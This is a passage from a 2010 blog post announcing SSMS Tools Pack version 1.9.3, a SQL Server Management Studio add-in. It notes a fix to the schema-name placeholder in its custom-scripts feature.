  • Run custom scripts objects had a bug where |SchemaName| didn't display the correct table schema for columns. This is fixed. Also |NodeName| and |ObjectName| values now show the same thing.

 

You can download the new version 1.9.3 here.

Enjoy it!

posted @ Tuesday, November 09, 2010 8:00 AM | Feedback (1) | Filed Under [ SQL Server SSMS Tools Pack ]

Powered by:
Powered By Subtext Powered By ASP.NET